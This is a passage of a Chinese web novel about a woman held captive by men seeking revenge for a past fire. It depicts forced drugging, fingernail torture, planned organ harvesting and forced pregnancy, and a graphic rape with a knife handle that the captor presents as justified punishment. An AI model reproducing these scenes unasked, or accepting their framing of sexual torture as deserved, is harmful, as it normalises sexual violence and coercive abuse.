“你确定你会?”徐照以为秋榕榕和周景行肯定做过,他干脆躺平准备享受。
“你别管,我技术好得很。”
她的身体贴近,气息带着微凉的木质香调,像是凛冬枝头最后一片落叶,瑟缩,却又势必凋零。
秋榕榕尽量把时间耗在前戏上。
一直拖延。
她双腿并拢跪在他的大腿上,避开私密部位的直接触碰,垂
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落的发丝遮住她的神情。
他们看似亲密,中间却留着很大的空隙。
秋榕榕亲他时根本就没怎么碰到皮肤,却要刻意发出很大的mua声。
挺假的。
她手轻轻抚上他的肩,却又只在肩部,腹部伤口外侧,和胳膊这种部位流连着。
徐照却有那么一瞬间,被秋榕榕迷惑,让他忽略了她身上那些狰狞恐怖的伤疤,沉浸在她虚伪却盈盈如秋水的眼波中。
徐照很久没碰女生了。
原本他还游刃有余。
但看见秋榕榕红着脸还要装着胆子很大的模样,心里痒痒的,有些急不可耐,他抬手按住她纤细的腰,想要来真的。
发觉徐照变得热情之后,秋榕榕偷偷地掐他。
使劲掐他的肉,让他冷静。
她在尽量拖延时间,不是真的想和他来**。
徐照却有点精虫上脑。
吃素吃太久了。
见到秋榕榕这款完全不符合他胃口的也能吃得下去。
他哑着嗓子道:“你别乱动,这个姿势不方便。”
秋榕榕脸上的红晕加深,眼神里更多的是嫌弃,要不是药物,她的身体肯定无法分泌出保护的液体。
贞洁重要。
但绝对排在被挖器官这种事情之后。
她干脆闭上眼睛,心里想着喜欢的电影角色。
就在这时,楼上传来响动声。
那个**犯在秋榕榕还没坐下去的时候,把她拽了起来,赶紧套上裙子。
“今天就到这里。”
徐照脸上的表情堪称精彩,他上不上,下不下地卡在那里,显得格外悲惨。
“草!耍老子玩呢!”他咬牙切齿。
由于过于激动,还拉扯到腹部的伤口,疼得他眼前一阵发黑。
秋榕榕穿上了衣服,就从兔子变成了人。
**犯把她带出地下室。
留下徐照一个人被锁链拴住。
路上,他抓着秋榕榕的胳膊,用湿冷的口吻道:“兔兔是一种温顺沉默的动物,别去你另一个主人那里告状知道吗?”
秋榕榕眉目低顺,“嗯。”
嗯个鬼,这个**犯前脚走,后脚秋榕榕就要找周景行告状!
他话锋一转:“不过,你告状也没有关系,你只是他的人质,而我是他的同伴,他不会为了你和我翻脸的。”
第69章 怪物
周景行下班回来,作为总裁,公司有一大堆事物需要他处理,他没办法天天在家。
今天他提前回来,见到秋榕榕脸色不正常地红,就知道他的同伴又过界了。
他们之间是有约定的。
可以互相看管对方的猎物。
但是不能动对方的猎物。
“江无渡,下午不需要你了,你去陪你自己的兔子吧。”周景行声音冷了几分。
他叫出了**犯的名字。
秋榕榕偷偷地记下来。
在周景行看来,从秋榕榕一开始被设计来到归墟市的时候,江无渡就先一步破坏他们之间的规矩,去公交车上接触她。
可以看得出,江无渡对秋榕榕兴趣高涨。
但秋榕榕是他的人质。
处置权在他手里。
被越界惦记,让他心里闪过一丝不快。
江无渡发出低低的笑,那笑声像生锈的刀子在骨头上摩擦,“人在这里好好的,你大可以拎回去检查,保证没有少什么器官。”
周景行知道江无渡的癖好。
原本,他准备让沈砚川盯着秋榕榕。
但今天沈砚川要开会,没时间,他就退而求其次选择让江无渡帮忙。
“你要是介意,我把我的其他兔子给你玩。”江无渡指的是徐照,他已经渐渐对徐照失去兴趣。
周景行深邃的眼眸在室内的灯光下显得格外温柔,嘴角微微上扬,笑容却像是冬日的寒风带着刺骨的冷意。
他说:“我不夺人所爱,你要是喜欢秋榕榕,等后期没用了,器官可以先让你摘,再让沈砚川处理剩下的尸身。”
江无渡眼睑低垂,长长的睫毛遮住一部分癫狂的视线,“活体摘下来的器官更新鲜,如果你到时候能给她再留一口气儿,那就更好不过了。”
“当然,生意重要。”周景行微微颔首,“到时候也可以直接送上公海医疗船。”
秋榕榕的心沉入谷底。
江无渡说得对,他是周景行的同伙,而秋榕榕只是周景行的人质。
他对她压根没感情,当然不可能为了她,得罪自己的同伴。
刚才催情的药物令秋榕榕的头昏昏沉沉。
她头重脚轻,像是喝了假酒。
本来就有点喘不上气。
又听他们说要摘她的器官。
一口气没憋上来,眼前一黑,哐当晕倒在地。
秋榕榕在周景行的床上慢悠悠地睁开眼睛。
周景行此时正用温毛巾帮她擦拭额头上的冷汗。
他拿出她腋窝下夹着的水银温度计,对着光看刻度,发现温度有些高后微微皱眉。他伸出手,指尖轻轻抚过她的额头,动作缓慢克制。
“你发烧了。”
“你昨天拔了我的指甲,我昨天晚上就因为伤口发炎有点低烧,今天吃了消炎药,但上午你不在,那个……江无渡喂我吃了最新的药物,说不定那块药和消炎药相克,导致我发烧的。”
秋榕榕时时刻刻不忘提醒他们的恶行。
周景行将水银温度计收回,笑容轻柔温和,“思维敏捷,口齿清晰,看来问题不大。”
“他把徐照关在别墅的地下室里,你知道吗?”
“生病了多休息,少说话。”他帮她把被子盖好,想要离开。
秋榕榕拉住他的手,“别走,他刚刚给我下了药,还想让我给徐照怀个孩子,我……我……不愿意的。”
她闭上眼睛,内心风雨不止。
“为何不愿意?如果你配合他做婴儿生意,就可以多活十个月。”
“我宁愿选择你的七天。”
“你在取悦我?”
“那哥哥被我取悦了吗?”
周景行伸出双臂,轻轻地将她拉入怀中,没有过多的言语,只是让她静静地依偎在他的胸膛上。
“还不够。”他声音很轻。
秋榕榕便又补上一句:“哥哥,如果怀孕,我想怀你的孩子。”
周景行眸色微闪,他安静地坐着,神色
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不变,眼底却因为秋榕榕这句话,浮起极轻的波动。
“你倒是越来越会哄人了。”
秋榕榕抓着他的小臂,“我发誓我说的是真心话,若是假话天打雷劈。”
反正每天发誓的人那么多。
天雷劈也劈不过来。
周景行低头看她,视线停驻在她微微颤抖的睫毛上。
是药物迷惑了她的心智?
还是因为那四年的相处,她更愿意依赖他。
周景行不知道答案。
她不擅长说谎。
但药物致使她脸颊绯红。
迷惑了周景行的判断。
他的手在她的背部游走,动作轻缓。
四年来,他一直不碰她。
原因很简单。
他不碰仇人的女儿。
除非基于**和性羞辱。
那四年,她爱着他,他便吝啬于身体上的奖励,他希望她的第一次是痛苦的,而不是享受。
周景行牵引着她的手,解开他衬衫最上面的三颗扣子,让她抚摸上他衣服下的皮肤。
以前,他从来不让她碰。
现在,她摸到了大片烧伤后留下的疤痕。
“这是拜你的父母所赐。”
秋榕榕像是被烫伤般收回手,“我不知道。”
“你当然不知道,因为事情发生在你出生那一年。”周景行对她的恨意是迁怒。
秋榕榕对归墟市二十二年前富人区的那场大火有点印象。
但她不知道这和他爸爸妈妈有什么关系?
“你还在你妈妈肚子里的时候,我摸过你,你当时还隔着肚皮踢过我的手。
你妈妈和我说,如果她生的是女儿,就和我姐娃娃亲。
秋榕榕,我们早就接触过。
可惜我那个时候太小,我真该在那个时候用刀划开你妈妈的肚子,提前把你剖出来见一面。”
“我向你表白的时候,你问我可嫌弃你。我当然不嫌弃,因为我和你一样,也是满身疤痕的怪物。”
第70章 刀柄
秋榕榕给周景行说的这些话弄得内心寒凉,原本药物引发的那些燥热感也渐渐散去。
冷热交替让她头疼欲裂。
周景行的温柔并不完全是伪装。
他本就温润如玉,若放在古时候说一声翩翩公子也不为过。
周景行不喜欢暴力。
暴力只是他的手段。
他拔掉她的五根指甲,是想通过这种惩罚,达到她不敢轻易逃走的目的,而不是他觉得这样做很开心。
他每次伤害她,皆是出于理智。
没有一时冲动,更不会是出于愤怒,嫉妒或者其他什么感情。
那是周景行深思熟虑之后,做出的决定。
他可以一边伤害她,一边温柔地抱着她。
秋榕榕觉得他无坚不摧。
不可撼动。
“如果我爸爸妈妈真的做错了事,他们现在也已经死去,那个时候我还没有出生,你不应该怪罪我。”
秋榕榕从来没有把谭爸爸的仇算在谭松身上。
她觉得,父母做错了事,不该让孩子偿还。
孩子是一个独立的个体,不是父母的附庸。
显然,周景行不是这么想的。
“你的父母靠害人获得了财富,你作为他们的孩子虽然不知情,但是也享受了富裕的生活,祸不及子女的前提是惠不及子女,你凭什么觉得你无辜?”
“可我过得并不富裕。”秋榕榕反驳到。
她从小勤俭节约。
她的父母把大多数家产都拿去做慈善。
对于秋榕榕,爸爸妈妈只给她所需要的,她连奢侈品的名字都认不齐全,全身上下也没一样东西能和富裕沾边。
就连爸爸妈妈死后,也仅仅留下那栋**人的房子。
除此之外,无其他资产。
怎么能怪罪她呢?
“如果仅仅是因为我在家里吃了一日三餐,睡了一张床,就要用这么惨烈的方式来归还,那我……那我……”秋榕榕颤抖着说不下去了。
“这十年,我走到这一步,不是为了宽恕。”周景行眼底的暗色是深海里翻涌的暗潮,睫毛在眼下投下一片浅淡的阴影。
秋榕榕缠绕着绷带的指尖按在了他的手背上,“不是宽恕,是放过。”
她希望,周景行放过她,也放过自己。
周景行反问她:“你知道那场火灾**多少人吗?”
秋榕榕神色一滞,她不知。
那是被遗忘在过去的陈年旧事。
无论多么的惨烈,时间还是让人们忘却它。
周景行还是一如既往的温和,眼尾没跟着扬起,眼底的光微凉。
他说:“我记得。”
他永远记得那天,金橘色的落日被滚动的烟雾吞没,大火一共烧了二十天未扑灭,损失过千亿,无数古董字画葬火海,又因纵火犯在逃走时炸断了进入救援的唯一公路,导致火势没受到控制,无数人葬身火海。
凶手纵火的证据在那场大火里没有留下来。
这些年,周景行、沈砚川和江无渡聚在一起,为的就是向当年的始作俑者复仇。
“火不是我放的。”
“你在凶手的肚子里,是凶手的一部分,整个过程,你都有参与。”
“你若觉得我有罪,可以诉诸法律让我赔偿……”
“那样太轻了!”周景行声线微微提高,“秋榕榕,如果你觉得我们是恶魔,没有关系,因为恶魔有恶魔的正义。”
“我们为你量身定做了刑罚。”
“你能撑多久,便能活多久。”
秋榕榕察觉周景行身上的气压越来越低,她赶紧安抚他,“看看我身上的伤,其实我早就已经得到了惩罚。”
周景行的声音有些凉薄,“哪怕到现在,你都没有为你的父母忏悔。”
“你不够畏惧我。”
他眼神一点点转向她,那一瞬的目光太深太沉,是燃尽火焰的焦炭,在死寂里透着旧伤的温度。
他抚摸着她眼角的红晕。
“没关系,我会让你害怕。”
秋榕榕本能地往被子里躲了躲。
周景行拿出**,这把**曾经压在她的枕头底下,给她安慰,而现在刀尖转向了她。
“这是惩罚。”
他用刀尖挑开她睡裙的带子。
解下领带,将她的双手束缚在床头。
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>“从今天起,你将会恐惧性爱。”
他分开她。
鲜血顺着刀柄滴在了他的手上。
除了疼痛之外没有任何感觉。
周景行盯着她的眼睛,那双眼睛明明溢满了悲伤,却没有一滴泪水滑落。
惨叫声倒是不绝于耳。
秋榕榕不是太能忍受疼痛的人。
她的瞳孔失去焦距,变得空洞。
试图掌握自己呼吸的节奏,来减缓疼痛。
没有亲吻,没有爱抚。
更没有身体上的交流。
他注视着她的反应,手指捏着刀尖操纵着刀柄。
女生的第一次不一定会流血。
如果足够温柔,技术足够好,是可以不流血的。
但他让她流了很多血。
给她**。
她没有求饶,也没有叫他停下。
因为没有用。
为了转移自己的注意力。
秋榕榕试图和周景行说话。
她问他:“你知道吗?我一直不喜欢秋这个姓氏。”
周景行没有回答。
这个姓氏,是她痛苦的根源。
姓氏将她和她的父母绑定在一起。
连同着父母留下的业障。
让她一起偿还。
因为他的手下的动作变重。
秋榕榕痛苦地呻吟了一声,脸色又白了半分。
她眼前一阵发黑,昏昏沉沉。
“我……呼……我生在盛夏,却得了个秋的姓……”她的声音沙哑轻微,无力地喘息,“秋天啊,万物凋零,比不上夏季生机勃勃……”
“爸爸妈妈……他们足够爱我……”她眼睫颤抖,额角冷汗涔涔,透过疼痛看到遥远的过去,“他们给我取名榕,榕树的榕,四季常青,一木成林。”
“我喜欢榕树……它不够硬,不适合做家具,也不适合烧柴……所以伐木的人不会去砍它。”
“它活着,只是为了安安静静地生长……不被伤害……”
她闭上眼睛,嘴角几不可察地轻微颤动,似笑非笑。
“他们说……那是平平安安的意思。”
“我的名字是平平安安的意思。”
“……”
第71章 分隔
半个小时过得像一个世纪那样漫长。
好在后面因为鲜血起到了润滑的效果,后面的痛楚变得麻木。
是否所有人,生来就要受苦?
还是只有她,要遭受这一切?
结束之后,周景行将刀柄抽回。
周景行低头望着她,轻声道:“好好休息。”
他以为她已经没力气再说什么。
却没想到,她忽然抬起手,抓住他握刀的手腕。
她忍着身体的强烈不适问道:“哥哥,不亲我一下再走吗?”
光线是昏黄的,厚重的深色窗帘垂着,屋外是傍晚还是深夜,已经分不清了。
周景行迟疑片刻,又伸出手去摸她的眼睛,“你疼到开始说胡话了?”
没有眼泪。
竟然还是没有眼泪。
周景行有些困惑。
他从来没有用这种方式去惩罚过别人,秋榕榕是第一个。
惩罚的过程中,他心如止水,仔细地观察她脆弱又濒临死亡的表情。
应该是很疼的。
她的表情也是**的。
周景行以为这一次,能得到她的眼泪。
但秋榕榕还是没能让他如愿。
秋榕榕说话的鼻音很重,像柳絮般飘在他的心头,“你说我取悦你,就会给我一朵兰花,那么哥哥,我刚才让你尽兴了吗?”
现在已是冬季,屋外的冷风吹开没有关紧的窗户。
她的一句话,温柔得像初雪,冷到他脊背发寒。
周景行的手蓦地收回,有一瞬间,他好像从她孱弱的身体里看到了令他惊悚的东西。
是她强烈的生本能,令他觉得刺目。
“你就这么想活?”
“我不想死。”
“如果让你日日夜夜遭受这些,你还想活吗?”
秋榕榕语气平静:“我经历过,我活下来了。”
刚才,她扛下来。
过往一年的折磨,她也扛下来。
她是脆弱的。
又是坚强的。
周景行顿了顿,轻声问:“怕吗?夜晚我还会来。”
他说,会让她从今以后恐惧性爱。
但秋榕榕只会恐惧和他的性爱。
等到以后,她离开他,活着逃出去,秋榕榕就会渐渐放下这段恐怖的经历,她会去爱一个新的人,开展一段新的生活。
他所毁掉的,只是他们之间的性爱体验。
不是秋榕榕对于爱情的向往。
只有他,连这种事情都拿来做惩罚,他沉溺在过去,羞辱她的同时,难道不是一种自我羞辱吗?
秋榕榕在悲悯地看着他。
像是在看一个挣扎在地狱,沉溺过去仇恨的可怜人。
这种眼神令周景行惊骇。
甚至……有些恐惧。
恐惧她那种明明该崩溃却毫无怨怼的眼神,恐惧她眼底那种看透一切的宁静。
然后,他在黑暗里,听见秋榕榕细微短促的笑声。
“你笑什么?”周景行心头一跳。
秋榕榕的父母求神拜佛,她耳濡目染下也学会一些。
她声音悠悠长长,“哥哥,三界无安,犹如火宅。你常住其中,纵受极苦,却不求出离……”
二十多年前燃烧起的那场大火。
时时刻刻将他焚烧。
是他自己坐在着火的屋子里。
不愿意出来。
“你还能说得动话,看来我刚才下手轻了。”周景行试图驱散心底里的那些异样感觉。
但他不是江无渡。
他不是天生残忍的人。
残忍是他的手段,但不是他的本性。
**和伤害别人都不会为他带来快乐。
温和、谦逊、体贴入微……那些看似伪装的面目,其实才是真正的他。
“你让我流了血,但你没有想象中的那么开心。你感觉到了吗?仇恨不能治愈仇恨,只能放下……只有放下才会不痛苦。”
他看着她苍白的脸。
她也有着她不可摧折的信念。
周景行忽然不想再听到她的声音。
“为你自己祈祷吧,我今夜会再来。”
她看透了他长久以来所受的折磨。
让他乱了方寸,忘记平时悠闲的步伐,只丢下这句狠话,就慌张地离开房间。
门一关,他们隔绝开。
秋榕榕直接用被子把头蒙住,沉沉地睡过去。
头晕、疲惫和下身撕裂的痛楚,让她没办法去多想刚才的遭遇。
她很想睡觉。
秋榕榕把被子裹紧,枕在柔软的枕头上,她沉沉地睡上一觉,为了明天还能醒过来。
周景行既不抽烟,也不喝酒。
他不用这些廉价的爱好去缓解自己的压力。
江无渡刚
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刚给徐照的腹部伤口做过消炎。
他从地下室走出来的时候,看见周景行正坐在沙发上,目光落在前面的电视上,电视机里播放着他并不感兴趣的节目,他的心思游离在外。
“如果你还想继续,最好帮她清理一下伤口。”江无渡摘下手上的橡胶手套,将手洗干净后,坐到了周景行的附近,端了一杯咖啡,“你不想做的话,可以让王姨去处理。”
“内部刮伤,养一养就好了。”周景行的声音没有波澜。
江无渡刚才听见了秋榕榕的惨叫声,“她向你忏悔了吗?”
周景行摇头。
“别让她怀上你的孩子。”
“仇人之女,我不会真的碰她。”
江无渡喝了一口咖啡,“需要我帮你给她做子宫摘除手术吗?摘掉之后你就可以不戴套。”
周景行掀起眼皮,“不准备让他和你那关在地下室的公兔子繁殖了?”
江无渡和周景行聊天时,都是正常状态。
他的疯狂只针对于人质,而且是间歇性的。
“女人都会在乎自己的孩子,本来我准备用这种方式惩罚他们,但那个女的属于你,你不乐意,就算了。”
周景行近乎冷酷的说道:“怀胎十月,时间太长,一个月之后我就会让她精神彻底崩溃,然后将她处理掉。”
“那在此之前,让她和徐照怀一个怎么样?不用让她生下来,只是培养出他的母性,好折磨她。”
周景行想起秋榕榕的双眸。
他要熄灭她的最后一点光。
“可以,我来安排时间地点。”
江无渡放下咖啡杯,有些愉悦地击掌,侧头笑道:“太好了,我还以为你不舍得下手。”
周景行微微蹙眉,“别说这种不切实际的话。”
江无渡笑了笑,没继续说下去。
归墟市监狱。
谭松服刑的时间已到,他因为表现好提前两个月出狱。
出狱的时间,他在秋榕榕最后一次探监的时候,告诉了她。
他们约定好,秋榕榕过来接他。
但在监狱外,谭松并没有看见秋榕榕的身影。
手机还是三年前的,谭松用口袋仅有的零钱租了一个充电宝,将手机充上电。
他拨通秋榕榕的电话。
电话响起,对面无人接听。
第72章 守护
谭松有些担忧,他转而拨通了沈砚川的电话。
这次,电话很快接通。
沈砚川约谭松在茶室见面。
室内茶香四溢,沈砚川今日穿了件中式复古的深青色对襟长衫,衣摆落在榻边,衬得他身形修长。
他推了推鼻梁上的银边眼镜,低着头,专注地摆弄面前那套紫砂壶茶具。
热水顺着壶嘴落入盖碗,一圈圈旋转,给茶叶洗尘。
雾气氤氲,他捻茶注水,然后将新出的茶汤摆在谭松面前。
“尝尝。”
屋内室温高,谭松随手把外套甩在旁边的椅子上,端起茶杯吹了吹,仰起头一饮而尽。
他不善品茶。
水对他而言只有一个作用,那就是解渴。
他把杯子丢在一边,单刀直入地问道:“沈砚川,秋榕榕人呢?她现在已经毕业了吧,我怎么联系不到她?”
沈砚川端起白瓷杯,优雅地抿了一口,“她有男朋友了,正计划着结婚,你别去打扰她比较好。”
谭松脸色变了又变,随后啧了一声,“我就好这口。”
“她不想见你。”沈砚川撒谎的时候眼尾都不会抽动。
“不至于。”谭松在牢里待了三年多,秋榕榕经常来探望他,还会告诉他奶奶在疗养院的近况,不至于在他出狱后连面都不想见。
“她之前还说来接我出狱的。”
沈砚川垂眸,吹了吹杯子里漂浮的茶叶,慢悠悠地说道:“我毕业之后就出国了,她的近况我不清楚。”
“我也没想纠缠她,就是想着出狱后高兴,大家聚一聚,她应该不会嫌弃我吧?”谭松这话说得不自信。
他现在是坐牢的人。
一般人和坐牢的人保持距离,也是很正常的事情。
但谭松总觉得秋榕榕不会。
秋榕榕不是那种喜欢戴有色眼镜看人的人。
她也不会说谎。
他们已经约定好了,出狱之后庆祝一下。
以她的性格不会失约。
“谁知道她心里是怎么想的呢?人是会变的。”沈砚川刻意让谭松把秋榕榕往不好的方向想。
“她不会。”谭松还是选择相信秋榕榕。
沈砚川转移话题:“不说这些不愉快的事情,你刚从监狱出来,应该要找工作,来我国外的公司干吧,我这里有个职位适合你。”
“我大学文凭没拿到。”
“没事,我们是兄弟,再说了,我看中的是你的实力。”
谭松挑了挑眉,“我不吃嗟来之食。”
他讲义气也好面子,如果是沈砚川想给他一个闲职来养着他,他作为男人,一定会拒绝。
他有手有脚,凭自己的本事也能出去赚到。
没必要拖累兄弟。
“我组建了一个极限运动团队,挑战尾崎八项,我需要你帮我。”
沈砚川是仁慈的,他给谭松选择的最终结局,是让他在自己的爱好中轰轰烈烈地死去。
当年的凶手一共有三户人家,沈砚川负责的就是谭家。
是他下套,让谭松的父亲身陷**,最终破产,谭爸爸破产之后原本是准备**的,但他以他老婆孩子的命作为威胁,让他去**。
杀自己过去的同伴。
谭松一家,秋榕榕一家,还有周叔叔一家,就是当年纵火案的凶手。
听到尾崎八项,谭松眼神一亮。
这是所有极限运动者毕生的梦想。
谭松早就想挑战。
“好,我答应你。”谭松干脆利落地应下来,“等我找到秋榕榕,就和你一起出国。”
沈砚川没料到他会对秋榕榕如此执着。
他问道:“别人的对象,就让你这么惦记?”
“秋榕榕和我之前惦记的那些不一样。”
他们之间有着很深的羁绊。
秋榕榕救过他三次命。
他的父亲害了她全家,她却对他没有仇恨。
他坐牢,她去探望他,还帮他探望疗养院里的奶奶。
这种宽容对他而言,更像是一种救赎。
谭松叹了口气:“沈砚川,她是我见过最好的女孩,我知道我现在配不上她,她那个男朋友比我优秀多了。
但谈恋爱有可能分手,结婚了还有可能离婚呢,我还有机会,现在不想松手。”
“你来真的?”沈砚川不
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知道秋榕榕有何魅力,能让谭松变得那么死心塌地。
谭松点头:“只要她愿意,我就永远守着她。”
沈砚川不劝了,“祝你成功。”
随便他吧,反正他们在收网,谭家就剩他一个人,他命不久矣。
他们以茶代酒,碰杯。
却又是各怀心思。
谭松和沈砚川分别之后,先去干了一天日结,然后拿着钱前往隔壁城市,秋榕榕所说的学校。
她考上了研究生。
现在应该在学校上学。
谭松干脆去她上学的学校打听。
秋这个姓氏所用的人不多,同名同姓的就更少。
在学校新生的报道名单中,谭松挨个找寻,没有找到秋榕榕的名字。
他相信,秋榕榕不会在这种事情上向他说谎。
他们相处偌久,他了解她的诚实善良。
也幸好秋榕榕信用度比较高。
谭松很快意识到,她不接电话,很可能是遭遇了不测!
不行,他得去找她。
谭松这种时候也管不上秋榕榕已经订婚的男朋友,他直接前往她之前所居住的别墅。
时间倒回到一天前。
秋榕榕醒来之后,身上黏腻,床单上还有干涸的鲜血。
她拖着疲惫的身子进入浴室。
热水放入浴缸。
她迈进浴缸,刚刚坐下来,水顺着缝隙浸润伤口,疼得她头皮一阵发麻。
“嘶——疼死我了。”
“物以类聚,人以群分,能在一起玩得好的,都是差不多的**。”
她低头,看见一缕血丝融在水中。
将手指伸下去,把干涸的血洗干净。
周景行拿着复方新液走上来,准备替秋榕榕的伤口上药。
他发现她不在床上,便径直走向浴室。
浴室的门被秋榕榕反锁。
“把门打开。”
秋榕榕难得清净,她窝在温暖的水里不想面对他,“我……我……正在洗澡,等会就出去。”
“开门。”周景行原本冷硬的声音软下几分,“伤口不能泡水,我给你上药。”
恩威并施。
常见的手段。
第73章 因果
“来了。”秋榕榕从温水里走了出来,她忍不住打了声喷嚏,然后用浴巾把自己裹好,光着脚打开门。
周景行在门外听到秋榕榕咳嗽,进入浴室后,他随手将浴室里的暖打开,“洗完我给你上药。”
“你能回避吗?”
“我看着你。”
秋榕榕和他四目相对,发现他的目光没有退让后,将浴巾解下来,重新走回浴缸里。
该看的,不该看的,反正早就看过了。
秋榕榕给自己抹上沐浴露,搓出白色的绵密泡泡,蒸腾的水汽将她笼罩,周景行就在旁边看着,也不嫌闷地慌。
她专注地做自己的事情。
如果没人来打扰她,她每天都会过得井井有条。
周景行饶有兴致地问道:“你不害羞吗?”
“我如果害羞,你就可以像以前那样尊重我,那我可以害羞。”秋榕榕没有大声和他争论,而是温声细语地说着。
他以前选择尊重她,是为了获得她的好感,骗走她的心。
他现在选择羞辱她,是为了让她难受,让她伤心。
周景行在旁边看了一会,见秋榕榕神色如常,有他在没他在都一样,沉默片刻,走出浴室。
秋榕榕看着他离开后,才从浴缸里站起来,用淋浴将身上的泡泡冲干净,裹上睡衣,站在镜柜前用干毛巾擦头发。
吹风机已经被拿走了。
吹风机的线可以勒人的脖子,通了电的吹风机扔进浴缸里,也可以引发泡澡的触电。
是危险物品。
周景行不允许她用。
擦完头发之后,秋榕榕先做好心理准备,才从浴室里出来。
她受了伤,站立的时候走两步就会疼,路走多了,鲜血还会顺着大腿淌下来。
也没办法坐着,坐着会压到内部的伤口。
躺着会稍微舒服点。
她回床上躺会好。
周景行在医用纱布上面倒上复方新液,把她的裙子撩上去,冰凉的纱布覆盖上,她并没有觉得好受着。
“这样药碰不到伤口吧?”他把纱布往里面按了按。
秋榕榕咬着下唇呻吟一声,扭着身体躲。
伤口在里面,确实碰不到。
但秋榕榕不想让他再继续下去。
她有些结巴地说道:“其实……其实还好吧……也是能碰到的。”
她向自己上药。
“你可知道,你说谎会脸红,要么不敢看人,要么就死死盯着别人的眼睛看,很生硬。”周景行将纱布扔进垃圾篓里,重新拿出棉签,用棉签沾上药,替她涂抹伤口,一副公事公办的态度。
这个伤就是他造成的。
他现在来帮她上药,她也不可能感激他。
事后的弥补无非惺惺作态。
愈合好的伤口只为再次撕裂。
“疼,棉签好疼……哥,要不然你放下我自己来吧。”秋榕榕出于本能地想躲。
“别动。”周景行按住她的腿,“你自己弄看不见,更疼。”
秋榕榕难受,她咬着牙,“还不都是你造成的。”
“嗯,都怪我。”
周景行本来脾气就好。
秋榕榕见他现在心情还算不错,试探着说道:“哥哥,其实我们相处了四年,就算是养条狗还有点真感情,如果你愿意放了我,我保证不会再出现在你们面前。”
她想求个生路。
“不行。”上好药,周景行让秋榕榕躺好,帮她把被子盖上。
秋榕榕轻声道:“我之于你,就像谭松之于我。
我的爸爸妈妈对不起你,他们已经死了,人死债消,我现在已经一无所有,你又何必要置我于死地?”
“我不是你。”如果世人皆像秋榕榕,就没有那么多冤冤相报的事情。
周景行问出了让他困惑多年的问题,“你为何能放过谭松?”
一开始,他们安排秋榕榕和谭松在一个学校里,就是为了让他们互相折磨。
结果他们不仅没有成为仇敌,反而走的很近。
后来,沈砚川又在暗地里撺掇徐照,让徐照用谭松母亲的性命作为威胁,去伤害秋榕榕,以达到他们反目成仇的目的。
那件事本来是一箭三雕。
引导徐照威胁谭松,让谭松拿秋榕榕换他亲妈,然后江无渡再绑架谭松,让谭松既和秋榕榕决裂,又赶不上救自己的母亲。
谭松会死在孤立无援的境地下。
他们也可以借徐照的手,处理掉被徐家保护的谭妈妈。
再制作一个杀人游戏,把谭松放在水箱里,给秋榕榕发求救信。
秋榕榕这个时候生气,既不会报警,也不会前往救援。
证据都已经伪造好了。
他们会把谭松的死亡栽赃到秋榕榕的身上,秋榕榕有足够的动机,再扔一点她的头发和随身物品去现场即可。
等到秋榕榕死后,再把案件曝出来,这样,她将永远背负着神经病和杀人犯的名声,死不瞑目。
连身后之名,他们也要毁掉。
只不过,他们谁都没有预料到秋榕榕会去报警。
要不是事先给她安上精神病的名头,让她的证言不具有法律效力,她的正直会给他们带来很大的麻烦。
“害我父母的是谭松的爸爸,谭松不知情。
因果不讲血缘亲疏,谭爸爸种的恶因,要谭松来受苦果,不公平。
一念嗔心起,百万障门开。
你要以仇人孩子的鲜血来喂养自己的恨意,那么这场轮回永远也不会结束。
不肯放过别人的同时,其实也是困住了自己。”
这话如果出自别人之口,周景行只觉得冠冕堂皇。
但出自秋榕榕之口,他知道这是她真心所想。
他们每次设计计策时,总是以人性之恶来揣度仇人的行为。
所以他们能利用徐照,能刺激谭松……甚至林向婉、姜雨薇、谭妈妈都能够受他们的挑拨,按照他们预想的行动。
他们都不需要自己手上沾血,就能引导他们自相残杀,毁了他们的人生,让他们去坐牢,再葬送他们的性命。
只有秋榕榕不会。
她竟然真的信奉圣贤书上的那一套。
明明现在善良和愚蠢都画上了等号。
精明和利己主义才值得歌颂。
她的父母坏事做尽。
却教出了一个恩怨分明,天真又愚妄的女儿!
周景行在阴雨绵绵的归墟市待了那么多年。
从来没遇见这样的人。
可惜。
可惜在他眼里,善良必死。
此时,沈砚川打电话告诉周景行,谭松出狱,一直在找秋榕榕,拦都拦不住。
他挂断电话,抿着唇。
“你可真厉害,能让仇人的儿子刚出狱,就满世界找你。”
秋榕榕虚弱的笑笑,“因果罢了。”
周景行拨开她额前的发,声音很轻:“他们都惦记着你。”
秋榕榕失踪后,其实有不少人找她。
他们刻意制造秋榕榕的孤僻。
却没想到在她失踪的那一刻,还是有那么多人要联系她。
第74章 声音
姜雨薇在毕业后找过秋榕榕。
她偷东西,没人会和小偷做长久的朋友。
但每次偷窃被发现,也只是私底下吵一架。
从来没有像校园音乐节那次,闹得这么大,闹得人尽皆知。
姜雨薇看见秋榕榕被别人抓住领口,推倒在地,在灯光、舞台、音响的加持下,听见别人一句又一句说她是小偷,说她的贫穷,她的过去。
姜雨薇觉得恐惧。
她往后躲,往后退。
事情是她做的,但是她不敢认。
秋榕榕隔着混乱的人群看向她。
让她给一个解释。
姜雨薇可耻地选择了逃避,把这一切都栽赃在秋榕榕头上。
盗窃是姜雨薇的癖好。
她控制不住。
姜雨薇在第一次拿走秋榕榕的笔之后,又刻意拿出来用,她知道,秋榕榕看出来了,但后来,她补偿了秋榕榕一只更贵的笔,她看见秋榕榕的犹豫,但秋榕榕没再提这件事情。
她总是手痒。
这么多年都改不掉这个习惯。
校园音乐节过后,她们绝交。
姜雨薇听到学校里的同学议论校园音乐节的事情,她非常后悔,觉得对不起秋榕榕。
那天,她口袋里藏了两张音乐会的门票,想求一个和解,但她揉烂了门票,秋榕榕也没有原谅她。
而毕业后,姜雨薇为了弥平自己的愧疚之心,想和秋榕榕最后再谈一次,做一个了结。
可她联系不上秋榕榕。
四处打听,也只得到一个消息,秋榕榕要和她相恋四年的男朋友结婚,然后搬去外地不回来。
姜雨薇怅然若失。
那个被偷了四叶草胸针的女生也在找秋榕榕,她已经得知真相,想回头和秋榕榕说一声,当年的事情怪不得她,都是姜雨薇的错。
还有林向婉,她因为徐照失踪的事情都快疯魔了,虽然所有人都告诉她徐照出国不回来,但她来回往返国外,根本就没有找到徐照。
这三年来,林向婉找熟人打听徐照的消息,那些人早就被她问烦,当她是疯子,只有秋榕榕还愿意听她罗里吧嗦说一大堆。
虽然秋榕榕多次表明事情和自己无关,但好歹她没有势利眼,能够和她好好说话。
……
周景行给秋榕榕喂了一颗止疼药。
秋榕榕不愿意乱吃药。
他就用手拿着药,压着她的喉咙直接塞进去,强制她吞下。
秋榕榕因为被手指按到喉咙,她趴在床边,生理性红着眼睛干呕了半天。
周景行把定好的戒指草草地套在秋榕榕的中指上。
